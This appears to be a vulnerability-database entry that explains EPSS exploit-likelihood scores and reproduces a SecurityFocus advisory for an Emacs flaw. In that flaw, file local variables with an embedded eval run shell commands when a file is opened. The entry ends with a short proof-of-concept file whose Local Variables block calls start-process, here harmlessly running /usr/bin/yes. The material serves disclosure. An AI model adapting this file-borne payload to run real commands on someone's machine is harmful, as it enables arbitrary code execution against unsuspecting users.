EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/15375/info Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input. By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed. This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software. /* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */ Emacs better than windoze. ;;; Local Variables: *** ;;; mode: text *** ;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) *** ;;; comment-start: ";;; " *** ;;; comment-end:"***" *** ;;; End: ***
